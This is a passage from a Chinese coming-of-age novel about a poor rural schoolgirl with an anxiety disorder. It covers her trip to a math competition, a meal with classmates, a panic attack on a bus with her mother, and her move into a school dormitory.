那天之后,楚天青一连几天都没再失眠,晚上基本能在十二点前入睡。 虽然还是会在半夜惊醒,但她学会了闭上眼睛,强迫自己重新睡着,总之是比从前好了太多。 七月的暑期补课临近尾声,同学们一边抱怨天气炎热,一边在心里算着,再过几天就能放暑假了。 但对楚天青来说,真正的挑战才刚刚拉开序幕。 今年七月,省立一中的数学竞赛改成了“四校联赛”,参赛学校除了省立一中,还有师范附中、以及另外两个重点高中。 考试地点位于老城区,是师范附中的老校区。 楚天青收到了学校的通知:务必在早晨七点半之前到达考场。 这无疑是一道新的难题。 楚天青的家与老城区距离很远,从她家到老城区,坐公交的时间至少要五十分钟,考虑到步行、等车以及早高峰的交通拥堵,整个通勤时间接近一个半小时。最早一班公交车在早晨六点发车,她必须争分夺秒。 考试当日,凌晨五点半,天还没亮。 楚天青摸黑起床,洗了一把脸,穿上一身干净衣服,又给自己冲了一杯红糖水,这就是她的早餐了。 喝完后,她拿起背包,轻轻关上门,悄无声息地出发了。 街道上一片寂静,天边泛着一层极淡的银灰色,风吹在脸上有点冷,肚子也有点空。但她不觉得委屈,甚至还有些高兴。 这一次数学竞赛的奖金高达一千元,她势在必得。 走到第一个红绿灯时,天边升起一抹淡金的霞光。她仰起头看了一眼,心里忽然就轻松起来。 她觉得自己像一个大人,一个正要去做大事的大人。她一定要赶上这场考试,一定要赚到奖学金。 19 四校联考 将近六点,天色尚未大亮,光线也是雾蒙蒙的。 清晨的风,夹杂着雨夜的湿气,吹到身上,凉得让人一激灵。 楚天青有些后悔,早知道就该带一件外套再出门。但是现在回家已经来不及了。她只好抱紧双臂,原地蹦跳,想靠身体的热度抵御这清晨的凉意。 她站在公交车站牌前,目光望向远方马路的尽头,心中暗想,公交车怎么还不来呢? 快点来吧。 终于,马路那头传来轰鸣声,一辆公交车在晨雾中驶来,车灯在地面上投出两道明光。 楚天青精神一振,快步迎上前去。 车门“哧”地一声打开,一股混着暖意的空气扑面而来,她一脚踏上台阶,刷卡,找到靠窗的位置坐下。 她将书包放在腿上,双手摩挲着冰凉的指尖,看着窗外一排排昏黄的街灯向后滑去,又瞥了一眼车厢内的乘客,大多是赶早班的工人,穿校服的学生,还有打着哈欠的白领。 她心中莫名泛起一丝安全感,仿佛自己也是他们之中的一员,肩负着某种必须完成的任务。 她轻轻吐出一口气,靠在座椅上,闭上了双眼。 汽车驶过一段不太平整的马路,发出不规则的晃动声响,如同一支节奏混乱的催眠曲,她脑海中那些仍在翻涌的思绪,竟然一点点沉淀了下去。 她很困,但又不敢睡觉。 昨晚只睡了不到四个小时,半夜惊醒了好几次,总是梦到自己又休学了,昏昏然活在世上,忽地一下就长大了,变成了七八十岁的老人,浮萍一般漂泊地度过了一生。仿佛这一生从未真正开始,就已经走到了尽头。 人生的意义,究竟是什么呢? 楚天青开始思考这个问题。 她还没思考出结果,公交车缓缓停靠在站台上。她连忙拎起书包下车,又转到了另一趟车上。 这辆车驶过一段高架桥,拐入了老城区。 老城区街道狭窄,道路两旁的梧桐树枝桠交错,洒下一层浅淡绿影。街边的楼房大多只有六七层高,墙面斑驳,窗台外侧装着防盗栏杆,挂着尚未干透的衣物。 巷口的早点摊上冒着热气,油锅里传出“滋啦”声,有人推着自行车经过,车铃清脆地响了两下,唤起了清晨的烟火气。 楚天青忽然想起小时候,妈妈牵着她的手去镇上赶集,那些人声鼎沸的画面在记忆里一闪而过,她第一次觉得,省城也有一种亲切感。 公交车到站了,楚天青提着书包,小跑下车,踏进了老城区的街道。 沿着人行道向前走去,她看见了师范附中的校门。 雾气未散,铁门伫立在晨光之中,漆黑发亮,旁边石柱上嵌着金字校牌。透过门栏,还能望见一排排整齐的玉兰树,和一栋蓝白色的教学楼。 楚天青快步跑了过去,在校门口看见了纪明川。 纪明川刚从一辆奔驰车里出来。他单肩斜挎着书包,也朝着这边走来,与她视线交汇,随口打了个招呼:“早上好。” “早上好!”楚天青站到他面前,“你今天没骑自行车吗?” 纪明川反倒往后退了一步:“没,我爸开车送我来的,他正好顺路去医院。” 楚天青点了点头。她又看了一眼手机,现在是早晨七点二十,她提前十分钟赶到了老校区门口,比原定时间更早了十分钟。她自己都有点佩服自己了。 纪明川也猜到了她一定是紧赶慢赶才赶到了老校区。他沉默了几秒,忍不住问:“你是怎么来的?坐车吗?” “嗯!”楚天青诚实回答,“我早上五点半就起床了,然后我走到公交车站台,等来了最早那一班公交,中途转了一次车,就到了。” 她说得轻描淡写,好像一点也不辛苦似的。 纪明川的喉结滚动了一下,想说点什么,又无话可说。他明知她一定没吃早饭,还是要问:“你吃过早饭了吗?” “吃过了,”楚天青说,“我喝了一杯红糖水。” 纪明川的声音更低沉,像在自言自语:“红糖水也只是水,过一会儿就消化完了,你考试的时候可能会觉得饿。” “不会的,一点也不会……”楚天青低下头,似乎也没什么底气。 纪明川看向一旁的行道树:“你还说我嘴硬,其实你自己的嘴也挺硬。” “我什么时候说过你嘴硬了?”楚天青又和他争执起来,“我只说过,天塌下来,你用嘴顶着,别人也能躲在你嘴后面。” “你还是先用嘴吃点东西吧。”纪明川一把拽起书包,划开拉链,动作有些急切莽撞。 他找了整整一分钟,也没找到一点零食。 他记得自己包里放了几块巧克力,难道全被他吃光了吗?真是无语,这一瞬间,他连自己都恨上了。 楚天青满怀期待地看着他,他从她的目光中看见了她对零食的渴望,那是一种小心翼翼又带着些许孩子气的眼神。 纪明川心念一动,像是被什么东西轻轻撞了一下,藏不住又说不清的微妙感觉,转瞬即逝。他更用力地翻找书包的各个口袋,从没这么认真地找过一块巧克力。 忽然一道声音从他背后传来:“天呐,你们在干什么?书包里进了蟑螂吗?找得这么急。” 楚天青和纪明川几乎同时回头,看见了顾思安正朝他们走来。 顾思安抬手指了指前方:“段老师在那边集合,我是来喊你们的。走了,别站在这儿发呆了,段老师刚才都发火了。有一个男生早上起不来,打电话说不想参赛了,段老师骂他是混子。” 楚天青连忙跟上,比纪明川更快了两步,只怕自己去迟了,段老师会怀疑她也是个混日子的,对竞赛不上心,今天纯粹是来凑人数、顺便在老城区散散步的。 路旁一棵行道树下,段老师站在树荫里,手里拿着一张名单,身边围了一圈竞赛生。 阳光被树叶筛成斑驳的光影,落在他身上,也落在那些神情专注的学生脸上。 段老师清了清嗓子:“我现在来点名,确认一下有没有人迟到。点完名后,我会带你们进考场。考试时间是上午八点半到十点半,大家要认真作答,别提前交卷,能写的都尽量写全。” 他顿了顿,又说:“这次模拟考成绩合格,才能晋级省赛,听清楚了吗?” 楚天青怔住了,下意识看向其他同学。 可是大家神色平静,仿佛早就知道这件事。 楚天青连忙举起手。 段老师立即看过来:“怎么了?” 楚天青一心想着奖学金,也不知道“省赛”能不能发钱?如果不能发钱,那她不就白来了吗? 她心里着急,结结巴巴地问:“我们班的钱老师说,这只是四校联合模拟考试……和省赛又有什么关系?我不是竞赛班的学生,从来没参加过数学竞赛……还有……省赛会发奖金吗?” 她话音刚落,四周顿时安静了几秒。 站在她周围的竞赛生们只是淡淡瞥了她一眼,没说一个字,也没露出讽刺的表情。 但是,那种无形的距离感,却清晰得像是一道墙。她能感觉到,那些学生从不需要证明自己,天然散发出强者气息。他们早已习惯走在前方,也并不在意一个“外班”的新人。 楚天青来自十七班,虽说是重点班之一,但在他们眼里,终究比不上竞赛班的优等生,也没有锻炼出“解决真正的难题”的能力。 段老师仍然语气温和,耐心地解释:“这场考试确实是四校联考,同时也作为省赛预选的第一场。奖金是有的,这次是一千元,后面的奖金会更高。你不用担心,只要尽全力去考,把能写的都写出来,考出一个好成绩,这才是最重要的,好不好?老师相信你。” 最后五个字,“老师相信你”,其实只是段启言的口头禅。 做老师的这十年来,这句话,他说了至少有八百遍了。 楚天青却当真了,连忙回应:“我一定会尽全力的!” 但是,很快,她又有了一个新的疑虑:“段老师,我写完了以后,能不能提前交卷?” 此话一出,几个竞赛生没忍住,“扑哧”一声笑出来了。 段启言也笑了笑:“你不用考虑这个问题,题目挺难的,而且你也还没参加过竞赛,光是写完就不容易了。你就踏踏实实做题,不着急,能写多少就写多少。” 楚天青忽然觉得,段启言真是一个很好的老师。他的安慰和鼓励,全是出自真心实意。 楚天青很感动,一不留神,说出了心里话:“我、我其实有点担心……” “别怕。”段启言神色不变,又带着点笑意,“老师不是要你们都考第一,只希望你尽力去试试。能走进考场,就是赢家。今天还有同学因为起晚了,干脆不来了,那才是真正的混子。你们都来了,肯花时间,肯试一把,本身就已经很了不起了。” 楚天青又有些不好意思,双手背后,小幅度地点了点头。 段启言不再多说,拿着名单开始点名。 等到确认无误,他便领着学生穿过树荫,将他们送进老校区的考场,还特意叮嘱:“你们考试的时候,我也会在外面做卷子。考试结束后,想对答案的,可以来找我。” 竞赛生们还没出声,楚天青竟然第一个开口说:“好,谢谢段老师,我会来找您对答案的,您辛苦了。” 其中一个竞赛生摇了摇头,像是觉得不可思议。他不认识楚天青,也不关注普通班的月考,只是想当然地认为,楚天青的言行举止有点招摇了。 纪明川从他身边经过,神色平静,却低声说了一句:“你不一定考得过她。” 那竞赛生露出一个轻松愉快的笑容:“那就拭目以待吧。” 纪明川并未多说,只往前走,两步之后,才猛然反应过来,自己刚才究竟在做什么? 他强迫自己冷静思考,他并不是为了楚天青而去挑衅竞赛生,他只是想维护十七班的体面,这是完全正确的,也是在情理之中的。 纪明川和楚天青的考场都在三楼。纪明川稍微放慢了脚步,跟在楚天青身后。 老校区的楼梯是灰色花岗岩砌成的,边角已有些磨损,每一步踏上去都传来轻微回音。 楚天青忽然回头,与纪明川对视:“你有信心吗?” 纪明川随口回答:“还好,去年拿了省赛一等奖,今年,也许还能混个名次。” 楼道里吹来一阵风,带着老校区特有的潮气,吹得人昏昏欲睡。楚天青打了一个哈欠,眼睛都快睁不开了。 纪明川侧头看了她一眼:“你昨晚没睡好吗?” “啊,我的睡眠一直不太好,”楚天青轻声坦白,“每天晚上,上床之后,我都要过很久才能睡着,脑子里充满了各种乱七八糟的念头。前几天稍微好一点,昨天又开始失控了……” 纪明川脚步一顿:“你是不是压力太大了?” “可能吧,”楚天青继续往上走,嗓音轻得像叹息,“也可能是天生神经太敏感。” 她又回头问他:“你呢?你晚上会失眠吗?” “很少失眠,”纪明川低声说,“基本一躺下就能睡着。” 楚天青很羡慕他。她没再说话,默默走进了考场。 纪明川的座位在楚天青的身后。 考试还未开始,他已经感受到了一种莫名的压力。他盯着楚天青的背影,还在想着,她为什么总是睡不好? 铃声响起,监考老师放下了卷子。 果然如同纪明川预料的那般,对楚天青来说,竞赛试卷也不算特别难,考试才刚开始十分钟,楚天青就把卷子翻到了第二面。 她仍旧不打草稿,笔尖在空中短暂停顿两秒,像在捕捉灵感,然后,唰唰几笔,鬼画符一样,随便划两下,就把思路打通了。 那是人类的解题速度吗?纪明川叹了一口气。 他正想着,监考老师忽然在他桌前停下,轻轻敲了敲桌面:“同学,请看你自己的试卷,不要东张西望。” 纪明川不再观察楚天青。 时间飞逝。 考试还有半小时才结束,楚天青已经写完了所有题目。她检查了一遍,趴在桌上,闭上双眼。 窗外不知何时下起了雨,起初是零星的细线,接着越下越密,雨丝被风吹得歪斜,噼噼啪啪,敲在玻璃窗上,声势越来越大,仿佛要把整个世界淹没。 考试结束时,外头已是大雨倾盆。 纪明川交完卷子,走出教室,站在楚天青的身旁,空气潮湿得像是可以挤出水来。 楚天青自言自语:“我带伞了,不知道能不能挡雨?” 隔壁考场的宋远舟和顾思安也出来了。顾思安把外套的帽子往头上一盖:“这雨也太大了吧,那很难打车了。要不这样,我们四个一起去吃午饭?” 楚天青刚想答应,又有些犹豫。她还没来得及回答,纪明川就说:“我请客。” 宋远舟露出惊讶的表情:“你为什么要请客?” 纪明川随便编了个理由:“攒人品,考完试请客,说不定能换个高分回来。” 他们四个人一同走下楼梯,刚到一楼,就看到段启言正站在走廊一侧,被几个竞赛生围住了。 段启言手里拿着一张卷子,一边翻看,一边对答案。 顾思安拉了拉楚天青的衣角:“你不是也想对答案吗?快去吧,我们在这里等你。” 楚天青正要转身,忽然想起一件事:“对了,郑相宜今天怎么没来?” 顾思安凑近些,悄声说:“她痛经严重,早上请了假,来不了了。” 楚天青点点头,认真地说:“那等我搬进寝室,一定要监督她晚上泡脚,用热水泡,我也是靠这个好转的。” 说完,她小跑着奔向了段启言。为了不让同学久等,她一口气把选择题、填空题、计算题的答案全报出来了。 段启言原本面带笑意,听着听着,眉头一挑,眼神变了。他拿起自己的试卷,逐题对照,等到楚天青说完最后一题,他猛地抬头,看着她,目光中带着一丝不可置信:“你把所有答案都记住了?” 楚天青喘了口气,点头:“嗯,我写得对吗?” 段启言喃喃道:“你让我想起一个……朋友。” 楚天青好奇地追问:“什么朋友?” 段启言放下试卷,含糊不清地回答:“她现在在北京的一个保密科研机构,还是北大的教授。你之后……哎,算了,说不定以后你们能认识。” 20 风雨彩虹 楚天青还是不太明白段启言那句话的意思,脑海里却浮现出“大学教授”四个字,越想越好奇,忍不住问:“老师的那位朋友……现在是大学教授吗?我以后,有可能成为她的学生吗?” 段启言笑了笑:“一切皆有可能。” 楚天青的父母都没上过大学,亲戚里也没有一人去过大学校园。 “大学”这个词,对楚天青来说,有一种特殊的吸引力。 她想了想,又轻声问:“老师的那位朋友,会对学生很好吗?” “你放心,”段启言的语气更加坚定,“她是我见过的最好的导师。” 楚天青的眼睛亮了起来,心中顿时充满了期待。 如果,将来,她真的能考上那样的大学,遇到那样的老师,那她的人生,是不是会变得不一样? 是不是能把债还清,也能和妈妈一起,在家里吃上一顿热气腾腾的火锅? 仅仅是这样一个假设,就让她激动得有些恍惚了。几秒后,她才猛地回过神来:“谢谢段老师。” 楚天青和段老师告别后,赶紧转过身,跑向了顾思安、宋远舟、纪明川所在的地方。 顾思安一见她来了,抬手招呼:“你中午想吃什么啊?” 宋远舟漫不经心地说:“纪明川请客,那就选最贵的吧,越贵越好。” “别这样,”楚天青连忙摆手,“不要太贵了,纪明川也是学生……” 纪明川却说:“我有奖学金,还有不少压岁钱。” 宋远舟插了一句:“他外公外婆开了一个精密仪器厂,爷爷奶奶都是建筑系的教授,这几年家里应该赚了不少。” 纪明川撑开一把黑色长柄雨伞,随口说:“那是以前的事了,现在也没什么了不起。” 风雨未停,天色依旧暗淡。 楚天青仰头,望着灰蒙蒙的天空,忽然觉得胃里空荡荡的,好饿啊,饿得有点发晕了。 她低头翻了翻书包,摸出保温杯,拧开,喝了几口温水。 肚子饿的时候多喝水,就不会“咕嘟咕嘟”叫了。这是她总结出来的生活小妙招,简单、实用,早已成了她的习惯。 她拧紧瓶盖,把保温杯塞回书包,又听见纪明川的脚步声。 纪明川快步走下台阶。他右手举伞,左手插在衣兜里,回头看他们:“我知道附近有一家饭店,牛肉粉丝汤做得不错。你们想去吃吗?” 楚天青追上去,声音比平时更响亮些:“我想吃!” 顾思安和宋远舟也跟了过来。 顾思安抬起伞,罩住了楚天青,顺便挽住了楚天青的胳膊:“今天的天气阴沉沉的,不像夏天,倒像秋天,吃点牛肉粉丝,身上就不冷了。” 宋远舟懒洋洋地打着呵欠:“要是很贵的话,我就吃,我不吃那种便宜的,机会难得,不宰他一顿太可惜了。” 纪明川随口一问:“那你说,多少钱以下,算便宜?” 听到“便宜”两个字,楚天青下意识地抬起右手,捏了捏自己的左臂,指尖稍微用了一点力,不到两秒又松开了。 纪明川的目光扫了过来,改口说:“只要好吃就行,贵不贵没人在意。” 雨水斜斜地洒下来,四周弥漫着一层水雾。宋远舟撑着伞,走在前方,还没注意到楚天青的神色,自顾自地说:“那牛肉粉丝多少钱一碗?还不如去吃海鲜拼盘……” 纪明川打断了他的话:“这里没有海鲜拼盘,你不想吃,你就先回家吧。” “好了好了,别吵了。”楚天青一心只想着吃饭,只怕纪明川和宋远舟当街吵架,耽误大家吃上牛肉粉丝。 她连忙打圆场:“老城区人挺多的,我们现在走快点,争取在十一点前赶到,还能选个好位置,也不用排队了。” 说完这句话,楚天青还有些担心,宋远舟会不会失望? 下一秒,她就看到宋远舟忽然转过身来,在街上倒退着走路,脸上还带着笑意,完全没有一点懊恼的神色。 她怔了一怔,随即也笑了一声,原来宋远舟只是在开玩笑,他经常这样胡说八道。 她的脚步轻快了些,和同学们一起走在老城区的街道上,周围是熟悉的人间烟火气,雨还在下,风也没停,她心里却有一种温暖的感觉,把身上的凉意一点点驱散了。 休学的那段日子里,她曾经在街上看见穿着校服的高中生。她总是忍不住停下脚步,多看几眼,说不清是羡慕还是惆怅。如今,她终于也回归了校园,还认识了可以一起去吃饭的朋友。 只不过,肚子还是太饿了。 她叹了一口气:“还有多远啊?” “快了,”纪明川立即回应,“不到一百米,抬头看,就在前面。” 楚天青抬头望去,望见了一块白底红字的老式招牌,挂在街角转弯处,牌子上写着“家常牛肉粉丝”。 那个饭店比她想象中更宽敞,玻璃门通透明亮,边框的缝隙上也没有一处污垢。 她跟着纪明川走进去,闻到了一股鲜香温暖的气息。 室内干净整洁,桌椅是浅橡木色,摆放得整整齐齐,桌面擦得一片光亮,看不见一点油迹。 靠近厨房的墙上挂着一块木牌,上面写着“当日牛肉现切”。厨房里传来人声,伴随着刀切菜板的响声,竟让楚天青觉得安心,像是在家里等着大人做饭一样。 柜台后站着一位中年阿姨,看上去五十多岁,神情和气,衣着整洁。她抬眼看见纪明川,笑着“咦”了一声:“你好久没来了。” 纪明川收起雨伞:“嗯,今天带同学一起来吃。” 楚天青很惊讶,小声问:“你认识老板吗?” 纪明川抬头看着柜台上的菜单:“我小学是在附近读的,初中也离得不远,那时候经常在这里吃午饭。” “那肯定是老店了,”顾思安坐了下来,“吃点什么好?” 纪明川自然而然地提议:“每人一碗牛肉粉丝,一个牛肉馅饼,一小盘清炒白菜,怎么样?” “太好了!”楚天青立即点头。 纪明川看了她一眼,极淡地笑了一下。那笑意一闪而过,她还没来得及琢磨出他是什么意思,他已经转过头去,对老板说:“这些都来四份,谢谢。” 楚天青坐在顾思安身旁,没想到纪明川竟然坐到了她正对面。 起初她还有些惊讶,随后也笑了,其实在他们刚认识不久的时候,她就隐约觉得,纪明川迟早会和她在同一张桌子上吃饭。 牛肉汤的香气越来越浓了,虽然已经饿得前胸贴后背,楚天青还是强忍着没催促一声,只是安静地等着。大约十分钟后,老板把饭菜陆续端了上来。 楚天青眼睛一亮,高兴得差点跳起来。 那碗牛肉粉丝热气腾腾,香味四溢,上面盖着一个金黄酥脆的牛肉馅饼,旁边还配着一小碟清炒白菜,对她来说,这简直是梦里才会出现的丰盛大餐。 她拿起筷子,搅了搅碗里的粉丝。牛肉切得薄,数量却多,起码有十片,沉甸甸地铺在上面,下面还藏着一层嫩黄色的豆腐皮,还有爽脆新鲜的黄瓜丝。 她刚要动筷子,宋远舟却说:“这也太多了吧,我吃不完。” 顾思安嗤笑一声:“别装了,我都能吃完,你吃不完?你是小鸟胃吗?你就吃吧。” 你就吃吧,这句话,楚天青听进去了。 楚天青迫不及待地夹起一撮粉丝,吹了吹,送入口中。粉丝劲道爽口,混着牛肉的鲜美、香料的辛辣,还有汤底熬煮出的醇厚气息,勾得她心神恍惚,差点咬到自己的舌头。 那牛肉的肉质结实软嫩,在舌尖散开一股咸香,显然是精心烹制的卤牛肉,好吃的不得了。 她连说话的时间都没有,吃得津津有味,配着牛肉馅饼和清炒白菜,眼里心里都被美食填满了。 她突然觉得,这世上哪怕有再大的风雨,也能被这样一碗牛肉粉丝暂时挡在门外。 正当她吃得一身是劲的时候,她无意识地挪动了一条腿,恰好碰到了纪明川的鞋面。纪明川略微抬腿,原本是想避开,两人的脚踝反倒撞在了一起。 纪明川猛地呛了一下,转过身去,背对着桌子,轻咳起来。 “你没事吧?”楚天青吓了一跳,连忙问,“要不要喝水?” 纪明川停顿了一会儿,才说:“不用,谢谢,没事。” 楚天青还是拿出了自己的保温杯,把水倒进杯盖里,递了过去。 纪明川本来已经不咳了,看到她这么做,又忍不住轻咳一声:“你这样……不行,我不能用你的杯子。” 楚天青站起身来:“那我去给你买一瓶矿泉水。” “别,”纪明川制止她,“我真的没事了。” 话一出口,他有些说不清的情绪藏在心里。 楚天青竟然愿意给他买矿泉水。她在食堂加个煎蛋都会犹豫,日常生活也是省吃俭用到了极致,如今却毫不犹豫,要为他花钱买水。 虽然一瓶矿泉水的价格不过两元钱,但对楚天青来说,两元钱也不能轻易挥霍。哪怕是空瓶子,她也要带回家。 纪明川沉默无言,甚至没意识到自己是什么时候吃完的。 顾思安瞥了他一眼:“纪明川,你今天怎么回事呢?看起来有点,魂不守舍啊?” 楚天青也小声问:“是不是还没缓过来?要不要再喝点水?” 纪明川语气平静,一如往常:“早就恢复了,刚才……只是走神了,想点别的。” 饭后,纪明川结了账,在街口与其余三人告别,楚天青也朝他们挥了挥手,独自一人走向公交车站台。 天色未明,雨却停了,街道两旁灯火点点,昏黄的光线映在湿漉漉的地面上,映出她的清瘦身影。 她一点也不觉得寂寞,只想快点回到家,把今天的经历全部讲给妈妈听。 回家的路途有些漫长,到家时,差不多是下午四点,妈妈还没下班。 楚天青换了鞋,顺手收拾了客厅,把桌椅擦干净,又拖了一遍地板。夜色一点点沉下来,家里亮起了温黄的灯光。直到天色彻底黑透,妈妈和爸爸才一前一后推门而入。 楚天青跑去迎接,拎过妈妈手里的东西,忍不住说:“妈妈,我今天过得特别好。” 她把今天发生的事情一五一十说了出来,说起饭店里的那一碗牛肉粉丝,她眼睛亮晶晶的,连妈妈都感受到了她的轻松与喜悦。妈妈也笑了起来,那是一种久违的安心。 这个周末,楚天青的睡眠状况好转了一些。 趁着自己精神不错,她把衣物、书本和文具一一整理好,塞进一只干净的帆布包里。 她即将搬入学校宿舍,那是新生活的开始,也是她步入正轨的起点。 转眼到了周一清晨,天色尚早,街道被一层晨雾笼罩,空气中弥漫着雨后的凉意。 楚天青挎着两个鼓鼓的帆布包,妈妈也在一旁提着一袋生活用品,母女俩一同站在公交车站台边,静静地等着公交车,也等着一个悄然开启的新世界。 21 女生寝室 楚天青等来了公交车。 晨雾未散,车身驶来时,轮胎碾过路面残留的水汽,随着一声轻响,她看见车门缓缓打开。 她双手提起帆布包,和妈妈一起上了车。 清晨最早一班公交车上乘客不多,还有不少空位,她和妈妈在最后一排坐下,把帆布包放在了脚边。 妈妈看上去比她更紧张:“你去了宿舍,一定要和室友们好好相处啊,她们都是省城本地人吧?” 楚天青点头:“嗯,只有我一个是农村的。” 妈妈挪了挪塑料袋的位置,双手放在腿上搓了搓,低声说:“你小点儿声啊,别老说自己是农村的。人家不问,你就不说,那就没人知道你是农村来的,人家也会以为你是省城的。妈妈不是教你虚荣,是咱们外地人,到哪儿都容易受欺负……咱不惹事,也不跟人争。” 楚天青声音更低了:“可是,我就是农村人啊……我不说,她们也能猜得到。我也不了解省城,我连肯德基在哪里都不知道。” 妈妈忽然冒出一句:“那妈妈下个月带你去吃一次肯德基。” 楚天青吓了一跳:“不,不用了……又不是吃了肯德基,就能变成城里人。” 妈妈放缓了语气:“妈妈不是那个意思,妈妈是怕你在宿舍里吃亏。你跟别人不一样,妈妈知道,你心里有事也不愿意说,就怕你跟她们合不来。” “没人欺负我,”楚天青有些着急,“我在学校过得很好,同学都很好,老师也帮过我,昨天还有同学请我吃牛肉粉丝和牛肉馅饼了。” 妈妈愣了一下,又问:“那人家为啥请你吃?你转过去才几天,人家怎么就舍得请你吃几十块钱一碗的牛肉粉丝?省城的东西本来就贵,你不能因为人家对你好就觉得没事了。人家请你一回,你以后也得想着请回去……妈妈不是说你不能吃,是你不能占别人的便宜……” 楚天青的心跳猛然快了起来。 她急忙解释:“他不是只请了我一个人,还请了别的同学。我以后有钱了,一定会回请的。我从来没想过要占别人便宜……” 说着说着,她的嗓子突然哽住了,眼眶一热:“我现在就是没钱啊,你为什么要突然说这个?妈妈,你明知道我没钱……” 妈妈沉默了几秒,才说:“你不能总想着以后有钱了怎么样,你有没有想过,人家现在为什么会对你好?” 她一句一顿:“咱家条件摆在这儿,和别人家里不一样,时间久了,要是人家看不起你、不理你了,你咋办?人家要是和你翻脸了,你心里能受得住吗?妈妈不是不让你交朋友,是你读书的机会来得太不容易,妈妈怕你和她们处不好,影响你学习……” 眼泪止不住地落了下来,楚天青转过头,声音还是带着哭腔:“我知道你是为我好……你说你怕我被别人欺负,怕我被别人看不起,可你刚刚说的那些话,却比别人说的,更让我难受……” 妈妈没有恶意,可是,妈妈的每一句话,都像是提前预言了失败。 楚天青有些喘不过气,双手发麻,胸口发闷。她知道自己又要发作了。在公交车上,在人来人往的车厢里,在这个无法逃开的早晨,她的焦虑症又一次不受控制地袭来。 她憎恨焦虑症,更憎恨那些无法控制的躯体化症状。 她的肩膀正在颤抖,越来越剧烈。她努力咬着嘴唇,不让自己哭出声,却怎么也压不下心口的闷痛感。 恐惧如潮水一般淹没她,将她一点一点彻底吞噬。她想控制自己,可越是努力,就越觉得无力。 拼命挣扎,却毫无起色,反而让一切变得更加可怕。 妈妈一开始只是怔住了,过了一会儿,突然意识到了什么,神色一变,急忙伸手握住她的手。 “宝宝,你怎么了?”妈妈的声音似乎有些发抖,“你……是不是又犯病了?” 楚天青低下头,什么也说不出来,只能死死咬住嘴唇,泪水大颗大颗砸在帆布包上。 她感觉自己呼吸困难,胸口像是压着一块石头,怎么也喘不上气。手指又酸又麻,指尖冰凉得几近僵硬,就连指甲边缘都泛起了一圈青白色。 妈妈愣了几秒,突然红了眼眶:“对不起……宝宝,对不起,是妈妈不好,妈妈不知道你……你还没好全,妈妈刚才不该说你,你原谅妈妈好不好?别吓妈妈……” 妈妈伸手把楚天青抱住,手掌一下一下地拍着她的后背。楚天青小时候生病发烧,妈妈也总是这样哄她。 那时候,她觉得妈妈好温柔,她会一边咳嗽一边在妈妈怀里睡着。可现在,这个动作却显得那么笨拙,无法缓解她此刻撕裂般的疼痛。 妈妈还是那个妈妈,可她已经不是那个在妈妈怀里哭一会儿就能睡着的小孩子了。 她的灵魂像是裂成了两半,一半陷入焦虑症带来的病痛里,被恐惧和躯体反应缠住,使她动弹不得,另一半却还在埋怨自己,为什么总是因为一点小事就崩溃了? “你别怕,你先靠着妈妈……别怕……”妈妈轻轻地哄着她,自己却已经哭了,眼泪啪嗒啪嗒往下掉。 妈妈一边哽咽,一边手忙脚乱地从包里翻东西,掏出了一盒包装崭新的药:“还记得这个药吗?就是你以前吃的那个药,妈妈一直带在身上。你要不要吃一个?吃完就能睡会儿,不难受了……” 那是省城三甲医院开出的正规药品,外壳是淡绿色的纸板包装,上面印着药名、剂量、生产日期。 妈妈颤抖着打开纸盒,从里面抽出一片铝箔压片药板,一颗一颗的白色小药片,整整齐齐地嵌在银色铝膜里。 楚天青看着那一盒药,眼泪几乎要把双腿打湿。 妈妈说的话,像是一种竭尽所能,却又帮不上忙的爱。 妈妈不懂病理,不懂心理咨询,她唯一能做的事,就是掏出这一盒药,把它放进她的掌心里:“吃了就不难受了。” 妈妈递来保温杯,楚天青吃下了一片药,努力咽下了两口水。 不到三分钟,药效就发挥了作用。她的情绪渐渐平静下来,整个人也像是被抽走了力气,双腿软得抬不起来,身上一点劲也没有。她的大脑昏昏沉沉,只剩下一个念头,好困,好想睡觉。 妈妈把窗户打开了,新鲜空气涌了进来,楚天青的呼吸更顺畅了。她把头靠在妈妈的肩上,慢慢闭上双眼。 妈妈摸了摸她的头顶。 手掌只是落在她发间,没有碰到额头,她还是能感觉到粗糙的触感。 其实妈妈也才四十岁,她的手已经这么粗糙了。 她做妈妈的时候,只有二十三岁。 楚天青今年十七岁,却连照顾好自己都还有些吃力。 那时候的妈妈呢? 白天在农田里干活,晚上回家,还要照顾一个哭闹的孩子。 “宝宝,有没有好点儿?”妈妈轻声问,“还难受吗?要不咱不去学校了,回家好不好?” 楚天青忽然就明白了,妈妈从没等自己准备好才做母亲。她没有时间犹豫,也没人教她怎么做。她在最难的时候生了女儿,也在最累的时候,把女儿养大了。 楚天青出生在农村,可她也是家里的独生女。妈妈只有她一个孩子。妈妈把自己所有能给的,全都给了她。 “宝宝,还生妈妈的气吗?”妈妈小声问。 “不,”楚天青摇头,“我从来没生过妈妈的气。” 妈妈的眼泪又落在她的头顶。她不敢抬头,只说:“我真的好多了……我想去上学,想住进宿舍……” 今天的公交车比平时更快一些。 早晨六点四十分,公交车到站了。妈妈拎起两个帆布包和一个塑料袋,带着楚天青往学校走去。 楚天青走得很慢,也很平稳。 走到校门口时,保安拦住了她们:“等一下,您是家长吗?” 楚天青赶紧拿出学生证,妈妈也掏出手机,翻开微信上的家长群,递给保安看,笑着说:“师傅,麻烦您了,我送她进去看看,她今天搬宿舍,我帮她拿点东西,最多就十分钟。” 保安还是摇头:“不行啊,你联系一下班主任吧,让老师给我们打个电话。现在学校管得严,我也不能不守规矩,对吧?” 妈妈给王老师发了微信,等了几秒,也没看见回复。 现在还不到七点,这么早打扰王老师,妈妈也很不好意思。 楚天青今天还要上课,还没吃早餐,如果再拖下去,怕是来不及了。 就在楚天青自己尝试拎起帆布包的时候,纪明川骑着自行车出现在了校门外的马路上。她怔了一怔,犹豫了两秒,还是抬手朝他轻轻挥了挥,原本只是想打个招呼,他竟然直接骑过来了。 自行车停在校门前,纪明川看着楚天青,低声问:“你为什么站在这里?” 楚天青很平静地说:“这是我妈妈,我今天要搬进宿舍,带了几件行李,妈妈进不了学校,我准备自己拎进去。” 纪明川下意识地问:“要不要帮忙?” 楚天青还没来得及回答,妈妈已经抢先开口:“真是太谢谢你了,省立一中的学生果然不一样,真有礼貌啊。麻烦你帮我们家小楚拎一下,她今天……实在不太舒服。你叫什么名字?我一会儿在微信群里好好谢谢你家长!” “阿姨,您太客气了,”纪明川站到了自行车旁,单手拎起两个沉甸甸的帆布包,还有一个鼓囊囊的塑料袋,另一只手推着自行车往前走,一边走一边说:“都是一个班的,帮一下忙是应该的。” 这其实是一个谎话。 他从没主动帮过哪一位同学搬行李。 那他现在在做什么? 